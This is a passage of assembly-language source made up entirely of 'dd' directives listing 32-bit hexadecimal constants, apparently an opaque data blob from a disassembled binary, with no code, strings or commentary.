		dd 0DFCE3DEFh, 0C100AC60h, 1593F90Dh, 57B169h, 0B8F1EC17h
		dd 0F8BDB7BAh, 3F8E4200h, 9AB7C87h, 630D0039h, 69062F2Dh
		dd 0AF071E22h, 2EDB30B1h, 794B0200h, 13F2004Ch,	0F64304D0h
		dd 0F500727Dh, 73786EA2h, 0D298BBh, 3DFD86F2h, 0CA664F8Fh
		dd 13B9EB00h, 238C1DEh,	87175CC4h, 0B2FA6B00h, 34C95C59h
		dd 4C2F9700h, 29C3DAD1h, 4CB8E0h, 7F8F0D72h, 0DE7946B8h
		dd 89D068C0h, 5913F7h, 60A4F0EDh, 0D9A16393h, 0D762F300h
		dd 0EE270905h, 40FEFBD1h, 0A39B6Ah, 0F8645D0Ch,	923B73DBh
		dd 3D00D6FAh, 0E6E55B05h, 7A6884h, 315D96FDh, 5C132206h
		dd 0E166DD00h, 0E4B4345Eh, 2F330063h, 1B0BD90h,	0FA7AD5ADh
		dd 4C511C00h, 412099ECh, 2DD6008Eh, 0C1BBEDDBh,	6407E089h
		dd 1323B80Ch, 0F8D35B83h, 0D69201h, 33A11061h, 0A6C9E4A4h
		dd 0E7489409h, 82688DEAh, 384390D7h, 0AD3E0129h, 9E4511CEh
		dd 0E82080E7h, 18A035C3h, 522E0006h, 34F55E95h,	0E600FDD7h
		dd 0B0C6685Ch, 3C20CEh,	0F367FC92h, 0B68D5150h,	0F2D44912h
		dd 0E6BD70C0h, 0DF4A0F0Eh, 5F073AF1h, 94A7B965h, 0AA85319Dh
		dd 78118190h
		dd 3F7A1336h, 32B458h, 7588FBACh, 0C334F970h, 8CA6F400h
		dd 0F04E46D1h, 5F550038h, 0FBC889B2h, 0E000C734h, 0B40795FEh
		dd 4A361Fh, 0AE931EE1h,	0ABCBA386h, 6B3AC400h, 9D846917h
		dd 79800066h, 9FE3EBAFh, 0E900AD8Ah, 0EA9A815Dh, 1E4AECFh
		dd 2C55FD8h, 2897DADBh,	0E9D00068h, 1D1BD61h, 0FCD500DFh
		dd 1A2A1D80h, 49E043D7h, 8155E500h, 0FFAF4B7Ah,	0A5F600BFh
		dd 90D229F0h, 99F2A874h, 0F2348C00h, 109501FEh,	4890D5h
		dd 0F428CEE3h, 0D84BC53Fh, 1840BF30h, 0F8CDF9h,	8F50DFB1h
		dd 0E49E6322h, 3514CF04h, 0F100BBCCh, 28D6A5E2h, 4AB44EC0h
		dd 6AFA59h, 9211650Ch, 50DDC4F8h, 0E6FE7077h, 23400896h
		dd 136B8CDh, 4633AE54h,	9EC848FBh, 0B9F9B11h, 4C22788Ah
		dd 8A5ABE1h, 7900EC2Ch,	1A33D399h, 4A02D041h, 0ABFA7858h
		dd 1858FFh, 7DB4106Dh, 0B9191730h, 2AA1A324h, 0B680871Eh
		dd 7B52F886h, 0BCCD00BAh, 0A52819E4h, 941841E3h, 0BB70AD6Fh
		dd 0FAA74CACh, 0D0B80D12h, 6CDEB444h, 63A04254h, 31717630h
		dd 0A98283h, 461BBBD4h,	41C44F9Fh, 89D4C00h, 3B53A3BDh
		dd 0D96B0009h, 680F92D3h, 4FB8F35Dh, 0BF461A0Ch, 430C301Fh
		dd 9506DD9Ah, 2061DF4Ch, 0AC1D355Fh, 0CC0AC68Eh, 0F5581CAEh
		dd 0BE421083h, 37F0CC2h, 0C53630C3h, 2CA08C40h,	0C008BF1Ch
		dd 0CB797DCh, 0FBA1B01Fh, 806CC356h, 0AACA1E56h, 45150270h
		dd 80C683Fh, 0DC6F10AEh, 0DF8CABA8h, 568C50F8h,	24C1482Eh
		dd 10AFCCECh, 0ADCEEBFFh, 29F1017Ch, 0BC4C76h, 0A0CCEF9Fh
		dd 0ADC93998h, 0E4A20360h, 392B4FECh, 0C00310BFh, 0AF26E20h
		dd 0D76D5FC1h, 0B7E7F0DCh, 7F2840FBh, 30DACDBDh, 0F4603438h
		dd 0A87A050h, 1F450113h, 2C41CBC7h, 2AA85C59h, 0C8143970h
		dd 68B81693h, 7FF0A458h, 0B029185Ch, 6CDF580Eh,	8088D757h
		dd 67D4707h, 0FF60C25Dh, 46015C1h, 0ECE8112Bh, 64ADC9ECh
		dd 0B40FC01h, 409F55D5h, 34DE029Fh, 0F8BECF4Ch,	6E39350Eh
		dd 0BFA81840h, 2A2E00F7h, 0A573C8FEh, 0A6007F55h, 3E051CF1h
		dd 0FCC17Bh, 86F4AD84h,	0A4112D81h, 0DE1D4507h,	9E435846h
		dd 0BE401028h, 0BCCCF0C5h, 12A003CEh, 0B8312D7Eh, 0E95E380Eh
		dd 0AFE835Ch, 0D748185Bh, 2FDB1818h, 0DA7E2A14h, 84B5B028h
		dd 802C3071h, 8AEAD190h, 9EBE1E01h, 0CC3E2A42h,	65001C4Bh
		dd 30E13559h, 46FA2E85h, 7ECFD206h, 3C08C014h, 5E00C39Ah
		dd 3E1E85BCh, 8CAF4272h, 19A87C07h, 91008114h, 0DE183F83h
		dd 88633128h, 185F8E3Ah, 1E08AE5Eh, 0CFCD3ECEh,	0FE60C67Bh
		dd 282009D8h, 86C62089h, 1F83E520h, 0ACFC144h, 0F0B042BFh
		dd 82189578h, 0B1D82DD4h, 199A0C14h, 0DE40DB9Eh, 48D10533h
		dd 37E07CA4h, 9808C4F0h, 809B303Eh, 0F9C782BEh,	388AEED5h
		dd 3A8CA05Eh, 14946B28h, 0D85431BEh, 45107037h,	53A04777h
		dd 20BEC355h, 9C3A4878h, 0B028759Bh, 0EE65EC57h, 0FC037421h
		dd 1876933Eh, 18437C08h, 8C448C2h, 3B091532h, 9E7E0801h
		dd 5C77016Ah, 5F02088Ch, 8C70318h, 10DC7A1Eh, 3644928Ah
		dd 30517630h, 20C6E4F8h, 0F810611Eh, 0C28DF22h,	0F20879B8h
		dd 0AE887566h, 0CCEFE810h, 0DE284539h, 38CC1890h, 661E90AEh
		dd 0A1D4413Fh, 8DF5DE0h, 58782E92h, 0C8040987h,	8000379Dh
		dd 198DA251h, 0C8A3B1FCh, 0D3CBFFD1h, 405EC2h, 2F4969DEh
		dd 6DB2E064h, 71984446h, 187FD802h, 4080739Eh, 0F07D4540h
		dd 116E677Eh, 3E826FAAh, 0D1067FC0h, 63253131h,	0D35E5CB8h
		dd 205DE391h, 10C48754h, 1C871DDEh, 5C93C984h, 49A0747Bh
		dd 91F08CA2h, 0A830CDF6h, 6B11A02Fh, 268AD34h, 0EED636E3h
		dd 0A331A448h, 0E3377E40h, 81877C27h, 332DE222h, 7793D100h
		dd 4C10A9F0h, 40FED5DCh, 5250F130h, 71245E88h, 0C51580CEh
		dd 94A724B8h, 1084598Ch, 20D264B1h, 5E20816Ah, 0FEF4439Fh
		dd 0DE5080ACh, 62817684h, 83B31024h, 5449DFE2h,	14119290h
		dd 37345844h, 83B109Eh,	988D3895h, 0BE16910Ch, 3F64AA80h
		dd 89FFAB0h, 0A90D0404h, 45B14589h, 0EEFD1030h,	617661E6h
		dd 43EB9C51h, 32C788ECh, 0E8BE835Eh, 0C3782C04h, 710F36D7h
		dd 1E29BF82h, 9DFE7468h, 612B609Ah, 9EC1D82Fh, 81F82E65h
		dd 4D24B080h, 0E0F3F467h, 31082A1Bh, 0B5E69878h, 1F1E3B19h
		dd 878F88D7h, 9A86E823h, 72D16801h, 8C9E1EB2h, 44DE0885h
		dd 0E1786931h, 38F2D3C6h, 0D919A60Fh, 0D77A25A8h, 0D6740F78h
		dd 0CAD4FE14h, 0A0152CD4h, 30E0DCF8h, 91F97E69h, 9498A1ECh
		dd 0F0700649h, 615169A7h, 9CB189A4h, 0A3BC31F2h, 0A7C19CC0h
		dd 91D28071h, 70BF4AF8h, 20805728h, 0A08D437Eh,	4C1F938Eh
		dd 577141FAh, 75C3984Eh, 2BF2B52Ch, 0DDE91101h,	64FF609Eh
		dd 0E4540990h, 0E8F97082h, 864E3C40h, 80DB90C6h, 7BD22420h
		dd 36D80A98h, 9782D888h, 0D000E4F0h, 32963390h,	99DD06h
		dd 8B7DF4BFh, 0B4D2639Fh, 861EFCE9h, 74213F4Ch,	388A1F1Eh
		dd 0A8F1F3Eh, 836FDF06h, 40E70038h, 144CE6FEh, 0B7002DD3h
		dd 8782E87Ch, 709F979h,	92963CEFh, 0FF99A142h, 3B184BFDh
		dd 37D411F2h, 0C21B7200h, 0F6A5FF9Ah, 0FA1E68DCh, 0AEEF5F00h
		dd 0C4511F8Bh, 3CF93F50h, 20547571h, 0D218EEDEh, 5B40C7BEh
		dd 0D850DDFBh, 80F248AAh, 0F6437FF0h, 0DED915C0h, 0D095644Dh
		dd 0E9D10034h, 0A39B7F9Ah, 0C361FF8Bh, 5B27BF08h, 7C71DFE0h
		dd 0AA7F105Ah, 0B06530A1h, 7CEAF73Fh, 308728B4h, 333131ACh
		dd 0F3F0CD08h, 41FCDCC1h, 0E0FF16BCh, 19C7F85Fh, 0BFC1F5D3h
		dd 1098FEC6h, 6F1F08E3h, 7F866604h, 0AE07448Eh,	43FF8359h
		dd 463F180Ah, 0E50FDCA3h, 0FABF83A5h, 2E283772h, 10F1C620h
		dd 31D3FF33h, 0BF4810DCh, 0B46E74FBh, 10582C61h, 645F80DFh
		dd 0DA083A64h, 0F5880893h, 13EA009h, 847B3F08h,	0D0140894h
		dd 24495F1Dh, 4263F114h, 0D4A1ADA9h, 9475D912h,	0AFC7398h
		dd 0B8E4F01Fh, 20739F10h, 0E83CA04Dh, 0A15F1DACh, 0CAABE220h
		dd 8ABCD418h, 0AF03FE6h, 0CACEC55h, 0FFE837C6h,	0C99BACA3h
		dd 33BAD4C0h, 1A197974h, 0A084204h, 0F847FA00h,	0B85ACF10h
		dd 7CBBDA10h, 1AF8337Eh, 7C069A88h, 24BA30FDh, 0FF6E7A10h
		dd 907018CEh, 0DA200F20h, 5C5A3746h, 383D4610h,	3A901A00h
		dd 6F1BE1ACh, 562C0789h, 0FE85BE06h, 7DB48860h,	0D501C446h
		dd 1AD09EB3h, 8988294h,	955A4029h, 743B8187h, 2E61Eh, 0C575835h
		dd 0EE4FDAD4h, 68635598h, 310C8CF0h, 9A502118h,	0F66A1186h
		dd 3D2960BFh, 0D876032Ch, 9918B1C1h, 0FA481215h, 0DA40C52Bh
		dd 5482C8Ch, 0D162AF08h, 0C1751FB6h, 7EFAD08Ch,	407AD091h
		dd 0BF2409C4h, 0C2802707h, 0A00C6FBAh, 22D8A074h, 19CAFFAh
		dd 30F2AE3Ch, 0BB55007Eh, 7ACE0E75h, 0FA8770ABh, 0B0F32885h
		dd 40E0C4D2h, 5A28B5A5h, 8178B883h, 309AE139h, 4B994026h
		dd 0F93A15D4h, 28429CFBh, 88F5EFC1h, 95918634h,	31481221h
		dd 0D258E384h, 9B088AFFh, 52D124FAh, 22FE3C0h, 0F5C447D1h
		dd 0B8BCFBFDh, 0B112D706h, 2B30DC65h, 603086D5h, 3FA6CA33h
		dd 0D435A9C2h, 930B4FCh, 446ABB84h, 30470413h, 0FA1480CCh
		dd 0C0DDAB27h, 96427590h, 0D7315AD0h, 0FED808E0h, 0BCCFF441h
		dd 907CFC41h, 1B7B443h,	768BFA08h, 20A57AD4h, 0DB613AD0h
		dd 0FCD79A10h, 413BE85Eh, 7C7B0508h, 99E05501h,	4E713ACFh
		dd 128D0C43h
		dd 1F221A70h, 32520F48h, 91190C9Eh, 9760B778h, 0E17CA330h
		dd 81CB317Ah, 0E0D9EFA8h, 4963231Ah, 0C452BB08h, 0E2975880h
		dd 94983A5Ah, 4F059A0Ch, 8A7CF1B8h, 0C4B63A2Bh,	0DC3D02EBh
		dd 0B5DCA769h, 67C42318h, 44916387h, 0D5953100h, 403AE135h
		dd 3C8AFFFh, 10D3B501h,	0F0F53915h, 0E39738C8h,	0C1E723E0h
		dd 94410F9Ah, 0A0201DFAh, 85F627Ah, 5C40C21Ah, 9CA03DBAh
		dd 8D62839Ah, 40F4FC40h, 0A16A91D4h, 0B05223D4h, 5FECA260h
		dd 4BF04085h, 3AE27CB3h, 0EA78B127h, 5FC0A1B7h,	0E59A1887h
		dd 8ADAC188h, 21A84287h, 453AB481h, 4F85EFFh, 0EDB7AAD9h
		dd 0BCD53490h, 2B8AFFFh, 6797A7E0h, 0CE351048h,	15D05348h
		dd 0A01CF6B1h, 44FA6050h, 0D34D1563h, 0BB6CC194h, 898E936Fh
		dd 0E1868F75h, 0E88F58FAh, 0AB404107h, 5502DAD4h, 78B4F643h
		dd 42781806h, 3D115515h, 660A2E8Dh, 23804BAFh, 0E0EE0118h
		dd 89190B3Bh, 2093520h,	0B6A8FA68h, 86A6064Ch, 381EAEC1h
		dd 8C3A1526h, 0F6BFBA04h, 5B03349Eh, 166E6465h,	0CD75380Ch
		dd 0AD0A709Fh, 0B43E816Ch, 247ADEFAh, 7106AEDCh, 70595ACEh
		dd 0C855808h, 0F8D44868h, 0C8189735h, 0B5800EA6h, 0FA48C30Ah
		dd 8297292h, 24407C03h,	4A8354h, 84F7430Dh, 33C3B647h
		dd 0B64DD01h, 531E0238h, 79262D0h, 0C699FC91h, 9082C354h
		dd 57761111h, 20783D85h, 0FFE21D18h, 7EEA34A8h,	7CD76E10h
		dd 6078BD18h, 18A59322h, 206F3481h, 9D01145Ah, 0F8E20106h
		dd 0D581020Fh, 2B49629h, 0A2021C7Dh, 0A7061E8Ah, 535DB5D5h
		dd 0CBC2E11h, 0A0DE9A68h, 208C383Ch, 0FC23CA00h, 33DFE4AEh
		dd 42A4A83Dh, 8209C07Fh, 0F19E890Eh, 87023Ah, 0A543C0BCh
		dd 40B32Bh, 0F5D26218h,	4CA4B931h, 8F3D9C01h, 110218Ch
		dd 38703099h, 41EFE5Eh,	3DC312AAh, 0AC10730h, 94BE8703h
		dd 3CA51E04h, 0F29A1DE4h, 8C8EC178h, 81201CE1h,	870435A8h
		dd 740FCEDEh, 0CB693408h, 4E810432h, 16A051Dh, 0C7F7068h
		dd 0D561A8B7h, 0F6E2A170h, 7AFE9B15h, 6CEB070h,	0D1E2306Eh
		dd 0F7154138h, 149E9B0Ah, 0A1D07001h, 0B713A4Ah, 9361A8E0h
		dd 3E159BFCh, 0A070027Dh, 0F7F9FF1Bh, 9701A853h, 737E9B71h
		dd 8D0EE05Fh, 36E82A06h, 5E387B98h, 8270AD8Eh, 0C14233FBh
		dd 0E28CA8AEh, 98FBBB71h, 0BEB87B40h, 785AE1C5h, 0F63D5006h
		dd 0E11049BEh, 2D2BF8E8h, 4F11E0E8h, 13EB1B82h,	0FE800CEFh
		dd 9F08FA36h, 27C5AE1h,	0C4BD0709h, 0F2A1032Fh,	38BE7834h
		dd 8C87C68h, 3D8F8714h,	0D3554105h, 74EBD00Ah, 0B28160DAh
		dd 33ECA416h, 0AE8F7A8h, 9CB0F128h, 7C481E68h, 85C434D1h
		dd 181C78Ah, 1B40BC47h,	2F9E48C2h, 0E37CB41Dh, 0A3EA88EDh
		dd 0A2D21B8h, 1D36BE40h, 784DD07Ch, 301DAF10h, 0F6D1C108h
		dd 0BAF0E611h, 0AE20DDC5h, 0A4E1283Ch, 419E15D4h, 6CA07401h
		dd 9F208557h, 4481283Bh, 0CF3E2B98h, 0B9F1E1ECh, 1332E955h
		dd 17393009h, 0D6485EE8h, 2798B4A1h, 0C8F2C070h, 809F1E5Dh
		dd 0FA666C41h, 26500B38h, 0F8549ABEh, 821574A7h, 7F835E6h
		dd 0DE895467h, 2E43EA9h, 0EAA880FBh, 0FE009298h, 471E8953h
		dd 0DC3BC09Ah, 409DD338h, 38CAAB92h, 0B7F0747Eh, 6F501857h
		dd 0F7C1389Eh, 135203EFh, 7C41BEF0h, 6DF87658h,	409C0731h
		dd 7894F3E1h, 76A8F0BEh, 3ABE8F24h, 0C6813831h,	8CB93E01h
		dd 88514509h, 0FE9CA010h, 0E447E3F4h, 9E09E0EAh, 8E782667h
		dd 0CF5E24A8h, 427E09A0h, 0BB02E8BEh, 8094504Eh, 68740692h
		dd 0F8B6BE37h, 0F0023D45h, 0BC042CFEh, 4155089Ch, 31BB7AD7h
		dd 63DEB8D5h, 98D03421h, 0E808CCD1h, 5E40BEB8h,	0E980923Eh
		dd 1E2012FBh, 99247C27h, 0B681CB24h, 0E0616833h, 495E9C9Dh
		dd 0D8F3243Eh, 24A995B8h, 0C461BC88h, 835F43A0h, 0A80A0728h
		dd 9803503Eh, 73F380F3h, 21494009h, 5961BB20h, 4F1184DAh
		dd 0DEA7E003h, 0A943B846h, 89B41230h, 9D7C6838h, 0B99CE15h
		dd 34E100B0h, 0A4FE875Bh, 249681B4h, 4E66BAA8h,	0F808B790h
		dd 20FA656Bh, 1EE4063Ch, 8C410995h, 0F88A1DF1h,	11C84D9Eh
		dd 0D5E67CFEh, 0BE3C88A1h, 8C382620h, 20D2AD8Ch, 32F4987Bh
		dd 1531755Eh, 477E70C0h, 8D81C4AFh, 80B5E793h, 603E8100h
		dd 0F2487090h, 1D9E3C38h, 0E13E9C91h, 4F6C5ED0h, 9653B301h
		dd 0AC49B810h, 21C82483h, 0D98D7897h, 6C9EA98Ch, 0F467AC09h
		dd 19C80CA0h, 53501953h, 0E808F2F8h, 11D12BBEh,	0F8491083h
		dd 9E327920h, 81350918h, 0FBA37E94h, 0F81A109Bh, 0F0C904E2h
		dd 0FE3889F7h, 3BC36F1h, 0BFA75290h, 0D890965Fh, 3000B40Eh
		dd 0A159217Eh, 0E1913FFh, 791E475Eh, 0B6B70A60h, 0A500F98Eh
		dd 8DF6853Ah, 188FEF52h, 406F0E9Dh, 7D0010D4h, 1BF1D921h
		dd 8EBF914h, 42391E46h,	228A4878h, 7400100Dh, 3920E07Eh
		dd 0E1F03E6h, 14020159h, 819678Eh, 5890B244h, 0F6289409h
		dd 6A24C098h, 0B1940EB3h, 0B91DBD05h, 646846F3h, 4AEF0886h
		dd 340C6C55h, 2BD938B0h, 4060A36Ah, 0B3387AE5h,	0ED7C104h
		dd 9FC06354h, 0AD49F399h, 80B31C54h, 0D86EB27Ah, 7607E355h
		dd 0ECA866EAh, 0E0406777h, 0AD2E15h, 215F24CFh,	79D7A236h
		dd 0F99CF000h, 56646FBBh, 46C0183h, 0FEE86866h,	4EB1D065h
		dd 0F8526778h, 0D4F6C020h, 0F6717EA7h, 9A30056h, 76A87BB9h
		dd 2829674Fh, 0C1601CF9h, 60FC57F3h, 35437875h,	0E8016662h
		dd 687CA960h, 10802F83h, 8869493Ch, 8C74BDEh, 0C8834C5Ah
		dd 0E89810B0h, 0BF70F0F2h, 0D98FE53Eh, 67E1BA63h, 5E4F0588h
		dd 0FBDD0288h, 3774C68h, 65C03B03h, 4F5708A8h, 7E768184h
		dd 3986748Fh, 709D2723h, 7CAC1B01h, 66365408h, 0D18AB1D1h
		dd 0F09055EFh, 3710ED20h, 0C3187018h, 0EA2838B5h, 47C1E82h
		dd 6391D2E2h, 0BEE30773h, 36C86751h, 29080885h,	0BF800371h
		dd 0C4E46665h, 0F6C3BE99h, 38580E88h, 0BA857C93h, 1AE407B8h
		dd 0D90840BDh, 28376631h, 44C40814h, 53CC8802h,	1F0264B4h
		dd 0DC5BFB23h, 0BA304063h, 7668CE70h, 74353838h, 8B3B08C5h
		dd 0A858980Dh, 0C36045D0h, 7CA6EF70h, 785465A7h, 0C21AEC0h
		dd 2AA30C17h, 0DC06C850h, 82A5E418h, 4F251E08h,	0C6050419h
		dd 0DF830E1Ah, 0AC558500h, 3A65EFh, 6EC5E3BCh, 5DD0977Eh
		dd 3CDC7D00h, 1453E9A4h, 0A738006Ch, 0DFABFE4Ah, 49DD6B26h
		dd 45EFA800h, 0F0EDEAD4h, 318978AFh, 85502FA5h,	30020F61h
		dd 0E0D8479Dh, 39E0602h, 4808D065h, 6287B285h, 3B1E6745h
		dd 2E02EEC0h, 66DFAC2Ch, 0F8003763h, 5E55467h, 0E9E3B748h
		dd 42096F6h, 892E1076h,	58460027h, 0D145E41Eh, 96E08838h
		dd 34B05ACDh, 0CCA638C6h, 0B6E02B79h, 0F6E14F7Ch, 852135F2h
		dd 0B7398638h, 8A27068h, 2D08D1FEh, 0EFD6E600h,	56E2E5E3h
		dd 0D7816CB6h, 105A5206h, 0CAF05FC6h, 0D86C2C30h, 0E476155Ch
		dd 32269140h, 64A0F3B6h, 0BC25F481h, 0B18099FEh, 0A021A508h
		dd 8BE9D401h, 7FEC05D0h, 4859E263h, 6B0F0C3Ah, 3886EEDEh
		dd 23C08DBh, 0B6850FD7h, 8EA583CCh, 9A1030B1h, 0DAA96508h
		dd 0A88110C0h, 635DE5E4h, 0B49338B6h, 0DD58C5E0h, 0FF3AED7Ch
		dd 2D451BBFh, 94DBE108h, 57926820h, 5082C0B7h, 194312BFh
		dd 5B06E00Ch, 63E670EAh, 0E84708E9h, 0F7A025C0h, 95629C90h
		dd 0BE2C45B0h, 0D5BA0D4h, 6659C6B0h, 451250D0h,	0C0407ABh
		dd 0B480A942h, 0E8E55EBAh
		dd 2508C6A0h, 9EE860D0h, 31EDC63Eh, 3205C8B0h, 57C05C27h
		dd 31A5F08Ch, 0A1A6F688h, 0F05F92D0h, 0CFC4E202h, 0A6021FC6h
		dd 85006042h, 0E0D8934Bh, 46C6E216h, 8632B492h,	4F4171FBh
		dd 0BEDD83D0h, 0A909CA0Ch, 2A77FE6h, 41AE380Ch,	0F188B118h
		dd 99F0BBE3h, 0F8EB10F0h, 0FC60A94h, 0C80CF808h, 9B964004h
		dd 0CAF9E060h, 2F2012D8h, 806E4CACh, 40C7E518h,	80AF9D65h
		dd 0D4FE1081h, 6002096h, 4C90D341h, 0A540C962h,	484BE9Bh
		dd 98BFCCB1h, 8166034Ah, 0AE78240Ah, 0B2C50A10h, 5D243A8Ch
		dd 0E5250714h, 5FA42D0Ah, 26002F4h, 3337790h, 58188A46h
		dd 1999FBC5h, 61D09093h, 2785581Fh, 676C203Dh, 31D46048h
		dd 0BDC3099Ah, 0BB2BC0BFh, 52B0C0A4h, 0E8A8D4ACh, 70CE73A6h
		dd 0A0BBCAE5h, 10B811F0h, 189265D8h, 0A5F09C86h, 839CAF4Ch
		dd 23C77535h, 4FE63911h, 8C8D3F20h, 0E28B0681h,	0C6002D86h
		dd 6CADBE80h, 593E9B01h, 11BEA704h, 0C5B32786h,	1B314187h
		dd 4DAAE84Eh, 508F3820h, 5612B0A0h, 0BF807CBAh,	88E8F0D5h
		dd 0B2B22680h, 0C87B4D14h, 6F17413h, 8F407A8h, 0CC82648h
		dd 8A6A345h, 7B349075h,	98924825h, 938C7626h, 0C53903C1h
		dd 0D814FECFh, 1FEC7898h, 1DFE5697h, 263C55E2h,	0D824CCAAh
		dd 8C30837h, 3E181861h,	39D188F5h, 0B4370C90h, 0A3760834h
		dd 0A338EE28h, 0C808CB4h, 8DB9F965h, 0BE912680h, 3C6DD60Dh
		dd 5F0E080Ah, 0C8002E67h, 0E15487CBh, 35B7C90Fh, 0AF08194Ch
		dd 81E87500h, 7F5B900h,	0AD15B83Ah, 9ACF01FEh, 0E80FFD4h
		dd 2B51816Eh, 9D054062h, 0BAABF400h, 0DD15B70Ah, 0EDD11C3Eh
		dd 0C05028C4h, 0C5E99489h, 0DC62D5B7h, 1EAB5538h, 7336CB04h
		dd 3406F2CCh, 9521A06Ah, 277AE0A5h, 9741676Ch, 188260FCh
		dd 380395B9h, 8387ACD5h, 0D6D76F6Ch, 37405F4h, 18CA847Ch
		dd 99B38358h, 0B9EE2414h, 68D8152Bh, 51C04F61h,	64B4C848h
		dd 507538D9h, 8287F26Ch, 0A5F342A1h, 0D80321E4h, 0A06D8B75h
		dd 0A1C669D5h, 80CE62C4h, 0B8DA80ACh, 399D3A75h, 6095B51Bh
		dd 0F8847AC7h, 10299593h, 0DF0DF079h, 0BEF638C2h, 0D0F51FF0h
		dd 4409A14Fh, 0B52C0FECh, 8683F088h, 0D9FC61C4h, 0BBE91334h
		dd 0A8BF32C8h, 4F8BE6Bh, 1156E054h, 2D249C8h, 0B6335568h
		dd 37347874h, 50799774h, 55B620E6h, 180D893Ah, 1510BDB5h
		dd 6975808Ah, 0E8D508C4h, 1AB55C81h, 6795B441h,	2875088Ch
		dd 0DD48F518h, 0DC351B88h, 0C49AC708h, 8BBD50Ch, 451D2855h
		dd 3C0531A8h, 2382008h,	48DE2557h, 12F80DD4h, 0CA7310A3h
		dd 0EC1424FCh, 3A01D584h, 0FC04A89Fh, 6DAE912h,	4538E7B4h
		dd 6B41BB5h, 0FD0B5372h, 8E541839h, 0CA0670CEh,	0F27380A1h
		dd 84CC6D02h, 509245E0h, 0C2C04372h, 8A043E30h,	0FB47C46Dh
		dd 5058F40Fh, 0C4931995h, 0B06210E0h, 9484A8A5h, 9590C664h
		dd 0D5330835h, 1372495Dh, 4C1B1508h, 55084D08h,	0CF981F57h
		dd 0A32E06F5h, 0B343799h, 3B63B258h, 360898BCh,	0BF7FDCE0h
		dd 0E0801EABh, 6F84BA5Dh, 2474DF40h, 15DC5E21h,	97F08006h
		dd 7E625B9Ch, 82461439h, 406CB5BCh, 9802354Ch, 0F9D5240Ch
		dd 0EE950950h, 39CB4422h, 0D092F204h, 484BE06h,	96A8D1B9h
		dd 0B2B403DEh, 3440245Bh, 35F50994h, 80A6A024h,	1F22B500h
		dd 0D744A090h, 0E030930Ch, 96F181F7h, 0AD31DE44h, 5074A67Ch
		dd 0E70A1A02h, 84CCBF85h, 40F7430Ch, 2044987Bh,	0C082D1F5h
		dd 0E2802815h, 0F3D92E92h, 0CE14196Bh, 2052F985h, 3D575598h
		dd 2F90D8E8h, 20FC5287h, 90285414h, 61D3F50Ch, 0F8629140h
		dd 40965108h, 0B2837C94h, 1508DFC4h, 0A8F69C35h, 308EDAEEh
		dd 86935F4h, 0D1EFB97Dh, 0C7C20B6h, 25D0EA50h, 46E78CA3h
		dd 15282832h, 0D5E098D6h, 36BBF3E9h, 34DBB2E7h,	2768F041h
		dd 37F0D810h, 94208E88h, 3F1520C7h, 6665753Dh, 37901AD8h
		dd 0C2086435h, 5C40883Ch, 70CBEB61h, 10023FDh, 250818C0h
		dd 84AE207Fh, 0F528DC90h, 0FD6BC419h, 0C08CF708h, 8C441C8h
		dd 55032D15h, 10362F16h, 6636D87Ch, 10C71833h, 344077F8h
		dd 12C8980Bh, 79399195h, 9EB8013Ch, 40341CE0h, 3E5455E7h
		dd 9351F3ECh, 0BCA8F9B8h, 0C086FF0h, 20F5E80Ah,	8F51E9CEh
		dd 0E886F3C4h, 0E9C87890h, 8D15065Dh, 47593877h, 1B3C1934h
		dd 0D88C6608h, 95C01A55h, 54D54A20h, 0DE8FDCADh, 0CA508A08h
		dd 28AE19E8h, 0E15C22F5h, 0D41C490Fh, 489862ECh, 0D0DC1055h
		dd 9D01D929h, 0FDD78EDCh, 3DE1216Dh, 7DF026FDh,	38B97C52h
		dd 0D8BCD01Dh, 7CF4D1Dh, 81D5BEFDh, 99C8283Dh, 0DB09B310h
		dd 0EF4000C7h, 1E3F6FB0h, 0DCFF20A1h, 8B38A9ABh, 80BE8034h
		dd 73B40D05h, 276D006Eh, 0D936251Ch, 4A664CDDh,	0E141F708h
		dd 61FD509Ch, 0F8BB54E0h, 110646F2h, 8D2038BCh,	0B0FEFD31h
		dd 508A019Dh, 7850F7BDh, 28A6AA8Eh, 32915C14h, 0BE2E0394h
		dd 14361DD8h, 4CF67D48h, 1CF048F1h, 282E02FCh, 33301DD9h
		dd 7680AF07h, 0C0929BF4h, 774ABF08h, 548050D4h,	204E7891h
		dd 0F412F814h, 760C411Ah, 9410C2h, 14765492h, 16C0294Bh
		dd 8F1ABA0Fh, 624208Ah,	0AD9062h, 86A15C61h, 0E6CA4A1Bh
		dd 7E738818h, 8759D438h, 7734F081h, 1318A2C5h, 7800B874h
		dd 76AEE0D4h, 0E8C3F2B4h, 191D3174h, 98DA1818h,	0F40891A0h
		dd 18E07888h, 0B04CEC74h, 0E0CD4F50h, 53E180A4h, 0D9115C4Fh
		dd 11B3C752h, 50EC789Ch, 632798ACh, 4959489Fh, 58B16837h
		dd 6C3C5225h, 53068597h, 52C891DBh, 0A1B2A8A8h,	12CD4CA4h
		dd 0F8E30B0Ch, 94E0CAB5h, 2F215CB0h, 934931C4h,	54D08669h
		dd 28483624h, 52A4375Eh, 0C9B29889h, 46334CB0h,	72B448C7h
		dd 501918A8h, 69571194h, 0AE598094h, 0C6CC13B8h, 9147D348h
		dd 0B4489762h, 0C140235h, 2AD89808h, 0BB300959h, 3C00E47Bh
		dd 754DC483h, 0F6E048h,	96A07E35h, 93DFF7h, 0AD396B65h
		dd 0D42F83DCh, 0C1C2AF00h, 0F2ABF10Fh, 625E736Fh, 787538D8h
		dd 0D04F081Eh, 52E2D22Eh, 77B502DFh, 5F71389Eh,	0B210C246h
		dd 70F51111h, 99184EB2h, 125E006Dh, 554D9B5Ch, 0B5E8AD43h
		dd 0B8187133h, 1D091F85h, 39150ABDh, 9810DB30h,	619884FFh
		dd 6E391572h, 503BB04Eh, 0CBCEE95h, 0C086354Dh,	0B0AFC908h
		dd 0D4DEB8B1h, 0CF61D21Ch, 250A3558h, 28C79847h, 10FC0C4Bh
		dd 17463795h, 0B570CC08h, 32C35520h, 90086AABh,	14209C0Fh
		dd 84C5C015h, 0E274D02Bh, 4898C067h, 0A300BE32h, 7ED5242Ah
		dd 78CDE428h, 0C6EE4C4h, 43642988h, 22312408h, 0FB0B109Eh
		dd 7C6E84F0h, 17040012h, 7F4672D5h, 0BA0041C8h,	0D2B8E2D8h
		dd 0B05EEh, 0CD446122h,	3AA238FAh, 67D1E13Ah, 2967F360h
		dd 18088546h, 58DEAC64h, 90DFE87Fh, 0EB78CF98h,	60A4F82Dh
		dd 538F09D6h, 62446428h, 1F7F782Eh, 3605204h, 2ABFEF44h
		dd 40E09831h, 64E0C2A7h, 0A4D8C63Fh, 44180839h,	1228C5B0h
